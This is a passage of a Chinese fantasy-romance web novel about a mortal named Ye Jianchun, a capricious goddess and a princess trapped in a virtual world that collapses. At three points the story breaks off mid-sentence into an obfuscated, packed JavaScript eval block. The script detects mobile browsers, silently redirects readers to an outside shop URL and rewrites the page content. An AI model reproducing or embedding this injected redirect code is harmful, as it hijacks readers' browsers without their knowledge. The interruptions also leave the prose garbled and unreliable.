叶见春胸口剧烈起伏,他一把推开身上的人,倔强地把衣服慢慢穿好,掐着自己的手心,努力平和地说:“公主,我学会了。” 里白支着手,她眼里有零星的笑意一闪而过,她不在意地抹了抹胸前潮湿的痕迹,无所谓道:“那你去吧。” 叶见春有点气闷,里白甚至想不明白为什么这个男人有如此多变的情绪。他耳尖红红的,闷闷不乐地对自己说:“好、的。” 里白翻出一个玫瑰令牌丢给他,叶见春得以在这所宫殿里畅通无阻,他拿着令牌,轻易推开某间寝殿的门,里面传来一声惊呼:“谁……” …… …… 不知过去了多久,内室那阵持续不断的窸窣声响,毫无预兆地、彻底地静了下来。 无人对此表现出任何关注。候在门外的女仆们依旧垂首而立,仿佛既看不见也听不见,静默地维持在某种永恒的“待机”状态里。 天快亮了,叶见春仍然睡不着觉,只要闭上眼,他就忍不住回想起里白对他所做的一切,梦境和现实混杂在一起。他的头发有点长了,几乎盖住他的眼睛,现在更是快被自己扯烂,乱七八糟地横在头顶,坐在窗沿,紧挨着那盆花。 他正心烦意乱,忽然注意到月光洒下柔色的银光,打在旁边花盆里枝丫新生的花苞上。 他呼吸一顿,凑近又看了看,发现那盆半死不活的植株竟然真的抽出来新的花芽。它看起来精神奕奕,在月光下舒展每一片叶片。 叶见春忍不住戳了戳,被茎杆上的红色的硬刺扎了个小口子。他看着指尖一点红血,笑容还没发现,突然意识到了什么,掌心向外散发柔和的念,绿色的光顺着他指尖飘向还未露色的花苞上。 他嗖地一下收回手,好不容易消下去的红晕再次可疑地升了起来。他捂住自己的衣服,又觉得毫无作用,所以干脆又解开了两粒扣子。 叶见春用受伤的拇指点了点花头,笃定地说:“我一定会找到你的,神明。” 而另一边,里白在黎明前的暗夜里发出一声嗤笑:“哎呀,被发现了,这个人类真是越来越有趣了。” - 盛大的婚礼如期举行,遵循古西方文化旧风,里樱穿着白色婚纱、手上戴着蕾丝手套,面上蒙着一层如梦似幻的云纱,她的头发被繁杂的黄金配饰包裹,端正地坐在镜前。 如果仔细去看,她的手紧紧地交握在一起,微微发颤。 里樱有一个秘密,没有人知道。 很久以前,她还没有母上膝盖高时,那时里白的头发还是白色的。 母亲从小对妹妹有求必应,对自己却总是苛责,不仅要学各种礼仪规矩,连日常琐事也都要求她不假人手。 某天,她在洗一件繁重的礼裙时,因为浸水后的裙子太过沉重,将她连人带盆摔在水里。这不过是一件细枝末节的小事,可或许是她心里憋闷了太久,于是大声且伤心地哭泣起来。 她躲在自己房间里哭了很久,始终没有人发现她。直到窗口外的树干忽然传来懒洋洋的声音:“你哭什么?” 她顿时止住了哭声,往外一探,看见她的妹妹穿着一件宽松的青色纱裙,毫无顾忌地坐在苹果树最高的枝丫上啃苹果。 里樱觉得很委屈,那时她还不明白如何隐藏自己的情绪。她嫉妒她,嫉妒得发疯,母亲所有的爱都在她身上,明明都是母亲的孩子,为什么她像不是亲生的一样。想想也是,她身体孱弱,长相也寡淡,说出去没有人相信她是神明的女儿。 偏爱如此常见,却仍然让人难以忍耐。 里樱急需在里白身上找到一个突破口去解气,可惜实在找不到。更何况,她的教养也让她无法说那些违心的话。最后,她擦了擦眼睛,眼泪更加汹涌。她看着无辜的里白,总算找了一个最无厘头的理由质问:“妹妹,你的头发为什么是白色的?” 她和母亲的头发一样都是黑色的,而里白却是耀眼的银白色,在太阳下透着光,像是一尊不染凡尘的神明。凭什么,她连头发都是最惹人注目的? 里白漂亮的琥珀色眼睛就这么直直地看着她,里樱抬头看她一眼,竟然有些发怵这个从小一起长大的人。 里白扯了个笑容,随手丢掉没啃两口的苹果,拍拍手说:“你想要吗?想要给你好了。” 里樱试探地点点头,下一秒,她的头发神奇地开始变短褪色。而里白的头发则变成长长的绿发,由深到浅。像是苹果树成精了,从树里走了出来。 她好漂亮。里樱没有来得及多想这其中的细节,只是愣愣地想,明明五官看上去并不出挑,凑在一起却给人一种难以言喻的美丽。 像一尊不染凡尘的神明,想供奉。 里樱被心里忽然冒出的念头吓了一大跳,又有点不高兴:“可以再换个颜色吗?” 里白从来不会拒绝她的要求,她打了个响指,头发立即变成金光灿灿的颜色,那些绿色藏在了她眸底。 还是很漂亮,里樱愣愣地想。但她终于记起来自己作为姐姐的职责,又觉得,有个无所不能的漂亮妹妹似乎也挺不错。 她立即让里白从危险的高头上下来,里白吐了吐舌头,不情愿地跳下来。 里樱的奇怪的发色很快被君主发现,她深深叹口气,什么也没问。那天母亲很温柔,摸了摸里樱的头,说:“小樱,无论将来如何,你都要好好活着,做自己就最好。” 里樱以为母亲在责怪自己的嫉妒,她低着头说好。可随着年龄的增长,里樱慢慢意识到,那天见到的母亲看起来那样脆弱,甚至……一点也不像真正的神明。 母亲对妹妹的纵容似乎并不是因为偏爱,更像是一种无法拒绝的忌惮。 她最信赖的妹妹,真的只是一个天真烂漫什么都不懂的公主吗? 究竟什么样的念,居然能随心所欲到如此程度? 门外传来隐秘轻柔的脚步声,里樱的回忆被骤然打断,她看着手中的玫瑰令牌,紧张得绷紧全身…… - 宴席上,里白并没有遵循贯制,她穿着一身暗黑色的红玫瑰礼服,贴身的柔软布料勾勒出她玲珑有致的线条,唯独一双懵懂的双眼让她看起来还有些稚气。另一边的相同位置上是臭着脸的章邱,里白看着那只可怜虫,遥遥向他举起酒杯。 她过分明媚的笑脸让章邱心里很不舒服,看来维克确实是她的心上人,神明真是不公平,他最想见到的人,却再也看不见了。 然后从清晨到黄昏,她的“心上人”也没有出现,大公主殿下也没出现。 现场渐渐混乱,下面嘀咕声一片。君主的脸色有点差,她站起来走了两步,却被地上是红毯绊了个趄趔,好在里白扶住了她:“母上,你看起来不太好。” 君主揉了揉眉心,尽量隐藏痛苦的神色,迅速找到了异常:“里白,你的仆人去哪了?” 里樱勾起笑,甜甜地说:“我以为这个时候你会关心一下姐姐和维克,需要我去找找他们吗?” 君主挥挥手,解除了章邱的禁制,说:“我会亲自找到他们。” 君主颤颤巍巍地离开了,章邱目送她远去,她的身形看上去已经不如初见时挺拔了,尽管距离他们初次见面仅仅只过去三天。 宾客言笑晏晏,一切都再正常不过了,里白把玩着手指,轻轻触碰水晶杯,她还没有碰着,桌上的酒瓶忽然砰然倒下,发出玻璃破裂的刺耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104346|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音。 所有的宾客都噤声,端坐在自己的位置上,里白的笑容攸地收回。那瞬间,她的气势似乎发生了翻天覆地的变化,以至于她经过章邱时,章邱竟然差点腿软跪了下去。 她急匆匆地往外走,黑色的裙子携卷着满地铺撒的白色花瓣滚滚向前,像一片层层翻涌热烈的雪浪。 与此同时,后花园里,正在专心挖地的叶见春也停了停动作,他回想起公主的第三个任务——“我要你,抢婚。” 那时叶见春低头问她:“抢你的婚礼吗?” 里白惊讶:“当然不是,别忘了,你爱的是我姐姐呀。” 叶见春想问,如果他爱的不是里樱,他能否去抢她的婚? 可他知道这些都是假的,也知道神明不屑于与任何人缔结婚姻,但即使如此,他还是不愿意看着她走向别人。 这场游戏已经开始,神明一如既往地爱玩弄人心,而且不给他回头的机会。他只能去试探猜测神明这些毫无道理的要求下真正的意图。 叶见春笑得有点命苦,问她:“殿下,你知道爱是什么意思吗?” 里白歪头看他:“说吧。” “为什么你总觉得爱一个人需要去‘证明’呢?” 里白难得沉默了一会,说:“爱不就是这样,是试探,是占有,是破坏与毁灭,通过一次次的敲打回应,才能让感情更加牢靠稳固。” 叶见春皱紧眉头,说:“不是这样的。” 里白勾着他的下巴,露出半排白齿,似乎很好奇:“春天难道爱过其他人?” 叶见春的脸开始升温,他凶巴巴地,否认得很快:“没有。” 里白立即甩开他的脸,温柔地拍了拍,语气不耐:“连爱都没有经历过的人类,也敢教我?” “……”叶见春哑口无言,可曾经,他也是被父母宠爱着,无忧无虑的孩子。爱是什么,或许心里隐隐有一个不一样的答案,却不知道为什么,不敢说出口。 叶见春想得太入迷,等反应过来的时候一朵暗红的玫瑰闯入他的视线,他顺着黑色裙角向上,里白抱臂,也恰好从上而下地凝视他。 神明的脸总是苍白而没有血色的,即使她是这个世界里千娇万宠的公主,脸上仍然带着几分出尘的冷。可现在,也许是走得太快,她的面上透着几分粉。这样可爱的颜色,眼神却潮湿又阴暗。 她生气了。叶见春贱贱地想,他终于在她身上看到了像人一样的情绪。 他用一双脏手想去碰她,被神明一脚踩在地上。 神明冷冷地问:“你在干什么?” 叶见春头隐没在半人高的带刺玫瑰丛下说:“殿下,我在种花。花盆太小了,我想种在这里,你觉得好么?” 里白看了看旁边刚刚种下、他甚至用黑布盖住花苞的玫瑰,有点想笑。 被气的。 “真的吗?”里白忽然凑近,他甚至能听见她因为急走而发出的微喘的呼吸声。 再踩重一点就好了,像梦里那样,好想离她再近一点,贴贴她就好了……不对,不能这样。 叶见春心跳如鼓,皱了皱眉,刻意压住思绪,平静地回答:“是。” 有其他人的脚步声在靠近,里白懒得再理这个心口不一的小骗子,将她他挖开的土层敷衍地踩了两脚,抓着他的肩踩上树,一路向上回到寝殿。 叶见春借着窗缝往下看,君主急匆匆地赶回来,她似乎很疲惫,手里拿着把权杖辛苦支撑,她看着地上新鲜的泥土若有所思,但很快有人上前分散了注意—— “君上,找到公主和维克了。” 君主没有时间思考,不假思索地说:“带我去见他们。” 20. 爱.Chapter 20 里樱和维克跪在大殿中央,君主走过的时候本能拉了一把里樱,但她没有起来,反而把身体匍匐下去,与她十分生疏的模样:“拜见君上。” 君主恨铁不成钢,将权杖重重敲了三下,她嘶哑地问她:“为什么?你是我的女儿,身为神明之子,更应该约束其身,你知不知道自己错哪!” 里樱没有说话,像周围那些女仆一样,一动不动,连呼吸的起伏都没有。 没有回应有时也是一种回应。 君主无法再保持体面的优雅,她气急败坏地将权杖打在一旁的维克身上,丝线密密麻麻将维克围绕起来,像一个巨大的茧。 里樱慌忙地哭泣起来,她扒开那些骇人的丝线,锋利的丝线划破她的手心,那丝线同样贯穿了爱人的心脏,眼泪大滴大滴地无助落下。 维克同样奋力挣扎,试图去抓她的手:“公主,别哭。” 他的挣扎显得那样苍白无力,渐渐地,他脸上痛苦的神情褪去,一动不动地任由丝线缠绕包裹他。 维克死了,这念头一冒出来她就立即否决掉,她几乎不敢回头,转头死死盯着君主,往日里被蓝色阴霾覆盖的眼睛忽然迸发出异样的光彩。 “妈妈,你做了这么久的神明,是不是把自己都骗过去了?” 君主的丝线一滞,不可置信:“你说什么?” “我说,我受够了!即便是神明真的在我面前,我也要说,我喜欢他,我爱他!我一点也不后悔,和他跑出去的每一步路我都很开心,风是自由的,呼吸是自由的,我也是自由的!我有什么错?从小到大,你都在苛刻地规定我人生的每一步,让我像一个愚昧傻子一样困在这座虚假的没有半点情分的城堡里!每一次我都乖乖听你的,可到底要我妥协多少次,用你所谓的‘好’来践踏我的真心!妈妈,我真的是你的女儿……”里樱盯着君主,目光触及她花白的头发,含泪的眼眶,恍惚了一下,那句问题也戛然而止。 好像……她逃走时妈妈的头发还是黑的。 君主气急攻心,竟然跌坐在地上,喃喃说:“你不能喜欢他,他是假的,他不是人,护不住你。” 里樱上前拉住她,通红的眼睛微微睁大,错愕道:“什么?” - 寝殿里,叶见春同样跪在柔软的山羊地毯上,里白掐住他的下颚,力道之大,让他都听到骨头夹缝的咯吱声。 “小春天,你很不听话啊?”里白叹息地说。 叶见春试图为自己辩解:“殿下,我不是都按照您的要求做了吗?虽然是你的未婚夫抢了自己姐姐的婚礼,但他们是自愿的,怎么不算抢婚呢?” 里白给他重重一巴掌,教训说:“还在狡辩,春天,你到底想干什么?” 叶见春被打了一巴掌反而笑了,他仰着头,脸上的疤痕愈加明显,不知道为什么,显得有些可怜,里白忍不住后悔,不该打这么重,是个不知道疼的家伙。 他顶着这张好欺负的脸十分硬气地说:“山樱,这句话不应该我问你吗?” 过了很久,山樱看着他,像打量一只平时装乖如今亮出利爪的小猫,低头认真描摹他的眉眼,疑惑问他:“你认识我?” 好啊,好得很,果然是一点也不记得自己。叶见春控制不住地生气,忽然把她扑进床里,恶狠狠地说:“神明,你想知道吗?” 很少有人敢和神明讨价还价,山樱捏着他的脸,没有计较他的不敬,反而一副探究的神情:“你生气了?你的眼睛告诉我,你好像很在意我,你以前是喜欢我的人吗?” 叶见春捉住那只手,说:“错了,是恨你的人。” 他反手把她抱在怀里,说:“你这样死在我面前过。” 他亲了亲她的唇,说:“你曾经对我这样。” 他又凑到她耳边,咬着她的耳垂:“你还想杀我,很多次。” 神明没有推开他,看他笨拙又努力地吻她的颈侧,其实更像是一种讨好。连她的眼睛都不敢看的人,竟然还敢恨她? 叶见春手臂的银环在发烫,他知道一旦看她,那双清澈的眼睛就会让他的龌龊无处遁形。 山樱并不讨厌这种另类的讨好,从一开始她就觉得他很熟悉,尤其是那双眼睛,好像很多年前也有人曾这样温柔热切地注视着她,告诉她世界的另一种模样,但她记得那应该是个温柔可爱的女人。 而不是这个黑心肝的骗子。 山樱的手又长又细,很容易地从他手心里钻出来,顺着肌肤向下,无意摸到银环后端的木头。 绿色的念在她眼底发光,她看到了一些丢失了很久的记忆,还夹扎着一些她完全没有体会过的经历。 好有意思。 她恍然大悟,“哦”了一声。接着,她翻身将他压在下面,用笃定的口吻说:“春天,我的小信徒,你好像爱上我了。” 木头上忽然开出一朵白色小花。 叶见春身体像木头一样定住,混乱的头脑从迷离中挣脱出来。 他爱上她了吗? 恨与欲交织,让他忽略了最鲜明的爱意。 他爱她。 可他怎么能爱这样恶劣的神明,他嘴硬道:“绝不可能。” 神明自顾自地问:“你是不是想操控我杀了我毁掉我?” 叶见春摇摇头。 神明还是不甘心:“那你是不是为了你喜欢的人,韬光养晦想利用我?” 叶见春还是摇头。 神明不解:“你不是想和我死在一块吗?” “……”他暂时还不想死。 她说的和他理解的爱真的是一个东西吗?有什么模模糊糊的东西在叶见春脑中逐渐炸开,推倒又重塑,轮廓逐渐清晰,他好像明白这里的神明碎片想要的是什么了。 不就是爱吗?他又不是没见过沙漠里父母恩爱的模样,于是欺身上前,小鸡啄米一样啄她的唇。 叶见春声音喑哑,循循善诱:“山樱,我爱你,爱不是破坏、占有、征服,它只是我单方面的对你的祈愿,我希望你喜欢我,但我更希望你能开心,自由,冲破枷锁,找回真正的你。无论你对我如何,只要想到这些,我的心就是满足的。这才是爱。” 山樱眯着眼,轻易看穿里面的甜言蜜语,却诧异地发现竟然夹杂着一丝真心的隐秘的期待。 她嗤笑一声,说:“你的爱对我来说并不重要。” 叶见春悄无声息地与她十指相扣:“可你的自由对我来说非常重要。” 山樱有点郁闷,她之前怎么会收这样蛮横的信徒,又没能力,还喜欢说谎,既不听话,吻技也差,还喜欢叭叭叭地讲大道理吵得她头疼。她干脆撬开他的唇齿,搅得他无法喘气,偏偏不愿脱离,只能被她拖着一点点深入苦海。 叶见春挣脱出来大口呼吸:“山樱,我们离开这里吧,无主之地待不长久。” 一把匕首毫无预兆地抵住他的胸口,山樱笑着在他身上比划,说:“想离开这里,不如打个赌——就赌里樱能不能离开这里,赌赢了我就放你走。” “里樱她,为什么能活在无主之地?”叶见春终于问出那个困扰他很久的问题。他被君主刺穿心脏的时候就发现,他们在虚拟机里,他受了那么重的伤却没有感受到半分生机的流逝。因此他试探过很多次,可除了神明,只有里樱是一个实实在在的活人。 山樱想了想,抿笑说:“那就说来话长了。” - 很多年前,山樱吞并这个无主之地后,她并立即没有管它。当年这个世界的神明因为侵犯自己的女性信徒而被她们联手绞杀的新闻甚至登上过世界APP的头条,其他世界的神明则为了掩盖真相不惜编出女性有罪论这样荒谬的言论。 毕竟这些人在他们世界里的高等信徒们大多以男性为主——谁不想自己在性别上就高人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109003|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一等呢? 男人惧怕女性,仿佛是生来的习性。他们生怕她们的成功凸显自己的无能,怕她们的思想脱离物品的范畴,更怕她们的反抗挣脱出父权的牢笼,几千年来都是如此。 1300年前,男权女权之间的矛盾到了不可调解的地方,战争整整持续了十年,打破了双方对于性别认知的局限。即使休战和解后,数百年来生育率的持续低迷仍然提醒着人们那场战斗的后遗症。 而五百年后,因为神明的陨落,男人对于女人的惧怕又多了一条——她们齐心协力起来竟然能够杀死神明。如此强大的力量,引得所有以男性面孔示人的神明忌惮。 山樱不记得自己为什么会出现在这片无主之地,她走过焦黑的土地,连天空都是雾蒙蒙的蓝色,她是这片废墟的唯一亮色。可她的心里似乎少了一块什么东西,一直在寻找。 按照常理来说,这片无主之地过去多年,生机早该消耗殆尽才对,但这里偏偏还有一个半人类。 一个人类——她是曾经杀死神明的反抗者之一。 半个人类——她那虚弱得只剩呼吸还未长大的女儿。 女人央求自己,带她的女儿出去。 她的女儿,山樱看了一眼被浸泡在营养液里的孩子。这孩子的生机极其微弱,从她出生起就处于休眠状态。还能活着全是因为这个母亲的固执,而这里所有的遗体残骸,不知为何都自愿供养这个孩子,让她成为唯一的幸免者。 可惜的是,即使她一直以休眠的方式活在营养液中,营养也总有耗尽的一天。她一定会死,山樱只能算她是半个人类。 “我知道,我们都难逃一劫,一开始我也没打算活下来。可樱樱不一样,她还没有侍奉过神明,如果您愿意,让她成为您的信徒吧。” 作为绞杀过神明的后代,里游知道,没有任何一个小世界的神明愿意接纳她,但她别无他法,她快死了。 这位看似温柔但极其强大的神明却温和地笑了笑,冷漠地说:“我不收信徒。” “为什么?” 她歪了歪头:“我没有向你解释的义务。” 那个母亲绝望地坐在地上,她眼睛里的难过快要溢出来,山樱奇怪地问:“你也快死了,为什么还要想着她?” 里游难过得没力气说话了,不过因为这位神明似乎提起一点兴趣的态度,她还是提着一口气,艰难地回答她:“因为我爱她。” 爱? 她脑子忽然闪过一些片段,这似乎是她空缺的东西。 怀孕的母亲摸着自己鼓得骇人的肚皮说:“山樱,我会成为一个好妈妈,也许有一天,你也会爱上这个家人。” 黑羽少年在自己面前声嘶力竭地大吼:“我喜欢她,我爱她,你这个怪物,你根本不懂!” 什么是爱呢?山樱并不打算拥有这种人类的情感,但她还是觉得新鲜好玩。 山樱改变主意了,她说:“我可以把你的意识和她放在虚拟机里,一旦她爱上其他世界的人,她就可以离开这里,我会连接她和那人的生命,让她去连结的神明世界里。” 母亲眨眨眼,表示同意,但也疑惑她该付出什么代价来回报神明。 “我要的不多,你像爱她一样爱我就行了。”山樱怜悯地看着她,仿佛洞悉她的一切想法,“虚拟机最多只能维持她800年的寿命,你太弱了,意识会在虚拟机里一点点泯灭,你愿意吗?” “没、关、系……我愿意。” 里游成了虚拟世界里的神明,她看着全新的世界和变小的山樱,爱她和让女儿离开像程序一样刻入她的大脑深处,她的自我意识在不断消失,却仍然没有忘记过她最初的目的。 里樱,我的孩子,一定要,好好活着啊。 要强大,要自主,要自立,去爱这世上最好的男人,走出这片荒芜之地。 妈妈能给你的只有这么多了。 21. 爱.Chapter 21 如果有一天,你最亲近的人告诉你,一直以来信赖相信的世界是假的,你所爱的人也只是虚拟世界的幻觉,你该怎么办? 里樱觉得这一切荒诞极了,她甚至无法咀嚼母亲话里的深意。但里游不再掩饰苍老的面容,她抬起手,轻柔地摸了摸里樱的细发:“孩子,我们的时间不多了。” 里樱呆滞了几秒,还是无法接受,忽然跑了出去,徒留君主的呼喊也不回头。 贴着门缝偷听的闵宇和公主撞了个正着——实际上他什么也没听清,只听见她们说什么神明啊,爱啊之类的。 他的小脑瓜从来没有这么聪明的时候,立即福至心灵地想到这一切都是神明设下的挑战。 神明想要爱? 闵宇打心底觉得自己太聪明了。 他朴实地向里樱伸出手,像是付出了莫大的勇气,大声说:“神明大人,我喜欢你,请你收我做信徒吧,我……我愿意代替队长成为你的王夫!” 莫名其妙,果然是一个虚假的世界。里樱尖叫着推开他。 正娇羞着不敢看她的闵宇被平日里温柔内敛的公主重重打了一巴掌,惶恐地退下了。 他错了,他不该生出莫须有的妄念,还是春哥最靠谱,他要找他春哥去呜呜。 - 在城堡最高的阁楼上,里樱把自己缩成一团,她抽泣得很小声,双眼无神地看着窗外的天空。 这狭小的环境忽然传来了第二个人的脚步声,里樱抱紧自己,视线随着脚步向上。 是维克。 她哭得更加汹涌,劫后余生般一把抱住他,说:“吻我。” 维克努力安抚着她的情绪,一下一下拍着她的后背,问:“怎么了?” 里樱急不可耐地吻住他的唇。 公主从不会这样,无论如何都会保持理性和优雅,她绝不会这样急切和逾矩,像是想要在他身上印证什么。 她吻着吻着忽然崩溃大哭:“你不是假的对不对,你不是……” 维克握着她的手,堵住她的话说:“我不是。” 过了一阵子,里樱终于冷静下来,她哭得鼻尖通红,静静看着他。维克惊恐地发现,那双眼睛盛满了悲伤。 是谁惹他的公主殿下生气了,怎么能让她伤心至此? 里樱慢慢说:“你是假的,世界也是假的,那我也是假的吧。” 维克褐色的眼睛水汪汪的,他认真与她对视:“公主,只要你认为是真的,那就是真的。如果这是一个虚假的世界,我愿意陪你直到最后一刻,即使是假的也没有关系。” 里樱似乎被打动,垂下眼睑,没有说话。 在阁楼之下,神明似乎有所察觉,抬头淡淡说:“我快要赢了。” 叶见春掐了掐掌心,仍然镇定地说:“再等等。” 猝不及防地,里樱趁机扒开对面的衣服,果然看见心脏处完好无损的皮肤。她仔细寻找痕迹,却没有看见丝毫瑕疵。泪水又一次流下,她艰难地抽气说:“可是,我、不、愿、意!” 平时听话温驯的里樱抹了抹眼泪,语气却毅然决然:“既然这里是假的,那我就去找到真正的世界,哪怕是你,也不该留我沉溺在虚妄里。” 维克不解:“可如果真实的世界比这里更加痛苦绝望,留下来有什么不好,活着才是真正的痛苦。” “无论在什么世界里,如果我无法为自己做出选择,那我的存在又有什么意义!” 听到回答的男人失落地低头,里樱心一软,将他快要滑落的眼镜扶正,却被人紧紧攥住手腕,她心下一慌,看见那张熟悉的脸逐渐扭曲,“公主,你应该陪我的,你不该离开这里,哪怕世界毁灭,我也会爱你到最后一刻。” 里樱挣扎着想摆脱他,却没想到他手劲太大,但她仍然不甘屈服:“哪怕世界毁灭,我也必须,拼尽全力地活下去!” 对方的神色越来越阴暗,手里竟然还藏着一根韧丝缠住她的脖子,里樱绝望地闭上眼,混沌的脑海里竟然在祈祷有人能救救她。 山樱的睫毛颤了颤,忽然甩开叶见春,朝阁楼走去。 不过是一个毛绒玩偶,里面放了一丝里游的念在其中陪伴她长大,天长日久,竟然生出了自我意识,妄图困住他曾经守护的公主。 叶见春听见远处轰隆隆的巨响,立即推开窗望向远处,那片雾蓝色的城市竟然在坍塌,整个世界都在慢慢消解。 这里的能量已经开始枯竭,不足以支撑虚拟机的运转。如果世界完全消融前他们还不能回到现实,所有人的意识都会被困在这里,再也出不去。 虚拟机最薄弱的地方会在哪里? 叶见春脑海中蓦然浮现出君主捉奸时眼底的忌惮与慌乱,他迅速向后花园跑去。 楼上,里樱看到破门而入的救星,伸出手恳求说:“救我!” 山樱直白地说:“他不会杀你。” 里樱疑惑地、可怜地盯着她,山樱只好继续说:“因为她爱你。”所以即使只是一缕念化作的虚影,也绝不可能真正伤害她。 里樱闻言却立即用力推开维克,维克条件反射地收回丝线,但仍然躲避不及,在她脖颈上留下一线伤痕。 里樱踉踉跄跄连跑带爬地躲到山樱身后,说:“可是很多伤害都是以爱之名。” “想必里游已经告诉你,这里的一切即将毁灭了,我对她的诺言仍然有效。告诉我,你现在还爱他吗?”山樱点了点,一只酷似维克的毛绒娃娃落在她手上,她把他交到里樱。 这一刻的里樱竟然异常冷静,她来不及悲伤,摸着那个母亲曾经亲手做的毛绒小玩偶,鼻头很酸,却克制住哭意,说:“不,我爱的人是妈妈。” 山樱摇摇头:“不对,她早已经死了。而且我能感受到,你对她有怨恨,这不是我想要的爱。” “我……是爱她的。”里樱嗫啜道。 “看起来,你要被困在这里了。” 墙壁逐渐被消解变得透明,山樱脚下的城堡开始微微晃动。她脚下的地面已经完全透明,一低头就能看到楼下的叶见春,那个有点意思的男人举着长剑向她挥手,有点着急地在喊什么,虽然不知道他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112462|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么,但山樱忽然有种想笑的冲动。 怪可爱的。 她一笑,里樱就愣住了。 她真正爱的,每一次出手拯救她,无论多么过分的要求从不拒绝,从小到大无论何时始终陪伴在她身边的,她脑海里第一时间浮现的竟然是…… 她终于找到了答案,直勾勾地盯着眼前的神明,神明却因为地板的彻底消失而跌落下去,她慌忙伸出手,仍然没来得及拉住她,她抓着透明地板的边缘,趴下来焦急地说——“妹妹,你是我心中除了妈妈以外最最重要的人,我爱你,超过这世上任何人!” 如果有一天妈妈不在了,你就是这世上我最亲爱的家人。 这么多年遇到过形形色色的人,无趣,呆板,千篇一律,掀不起一点浪花,似乎只是自己生命里的过客。 只有你……才是我相依相靠最值得信赖的家人。 听到她说的那一刻,山樱有些怔然,她的身体还在急速降落,与此同时,叶见春已经用念幻化的长剑狠狠地扎入玫瑰丛下的土地,地层深处,似乎有什么东西发出清脆的声音。他看她从半空摔落,发了疯地伸手试图去接她。 他脸上露出焦急又担心的表情,完全忘记了这里是虚拟机里的虚假世界,也忘记了她才是这里的神明。山樱搂住他的脖子,巨大的冲击力让叶见春的脖子发出错位的声响,她屏蔽了他的一切触觉,慢于常人的那颗心脏突然剧烈地跳动起来。 叶见春觉得自己像接到了一片花瓣,轻飘飘的没有重量,但身体内部发出的声音似乎在提醒他濒死的事实。即使如此,他心里却很高兴,因为神明终于学会了心疼她的信徒。 他眼前越来越黑,而在他脚边,那株他亲手移栽的玫瑰,刹那间开出一朵黑色的花朵,丝绸般的花瓣,边缘像被火燎过一样,开得热烈又灿烂,给人一种艳丽却不失高贵的姿态。 叶见春断断续续地说:“神明……你学会爱人了吗?” 神明的气息就像这朵黑玫瑰的香味,沁入他的五脏六腑,她亲昵地抱着他,额头贴着他耳垂边叹息:“哎啊,小春天,下次见到你,我会试着去爱你的。” 坍塌停止了,他再睁开眼,眼前已是空空荡荡,只看见一片废土世界。 废土之上,沉睡多年的少女从营养液中走出来,她真实模样其实比虚拟机中更加年少。里樱眷恋地看着这片焦黑的了无生机的土地,一步一步颤颤巍巍地向前走去,越走越快,最后几乎跑起来,最终,她消失在边界线上。 闵宇把自己蜷缩起来,还处在惊魂未定中,探出一个头问:“她去了哪里?” 章邱虚弱地咳了一声,摇摇头。 叶见春捂着几乎全变绿的木头缠臂?,说:“我猜,那是真正的001世界。” 他没由来地想起山樱说过的那句古老诗谣:“生命诚可贵,爱情价更高。” 其实多年前的某个深夜,他早就听过这句话的下半句。在失修已久的火车头里,和他同样为无神者的拾荒老人不经意间说: “若为自由故,二者皆可抛。” 22. 人.Chapter 22 大雾四起,伸手看不见五指,低头见不着两腿,只能凭自己的直觉向前走,简直荒凉得几乎不像人类居住的地方。叶见春在这片白茫茫的雾里徘徊很久,迷失了同伴,也失去了方向,仿佛这个世界只有他一个人。 这样漫天的大雾,他早就与其他两人走散,否则还可以戴上章邱背包里的雾镜一探究竟。 他走的速度越来越慢,忽然脚下踩到一块圆润的凸起,叶见春缓缓蹲下摸了摸,似乎是一节萎缩的树根,黑乎乎的,裸露在外面,看不出原本的模样。他用念沿着树根方向伸展,一直流通到树梢,最终注入到一片半死不活的叶片中。 枯黄的叶片发出盈盈光芒,大雾退散,已经快要枯萎的巨树露出真正模样。这里并不是什么荒野秘境,而是一个被极高透明度的特殊材料所笼罩的富氧院子,不远的前方,一个穿着碎花衣服的小女孩正坐在树下望着大树发呆。她专注地望着头顶那毫无生机的枯枝,仿佛在凝视遥远而难以抵达的另一个世界。 这个背影……神明怎么又变小了? 即使这场重逢快得令人怀疑,但叶见春还是长舒一口气,安心了不少,上前摸了摸她圆滚滚的后脑勺,问:“这是你真正的小世界吗?” 山樱被吓得不轻,直接弹跳到好几米之外。叶见春的手僵在半空,开始反省难道是自己过于僭越。 然而山樱只是疑惑,自己警惕性一向很高,却对这人的靠近没有半分察觉,她凌厉的目光上上下下扫过叶见春,迟疑几秒才问:“你是谁?” 又忘了他吗? 叶见春哑口无言,他打量着屋内的陈设,最后目光落回枯木之上——总觉得这里的布置很熟悉,连空气里都散发着一种奇特的清冽气息。 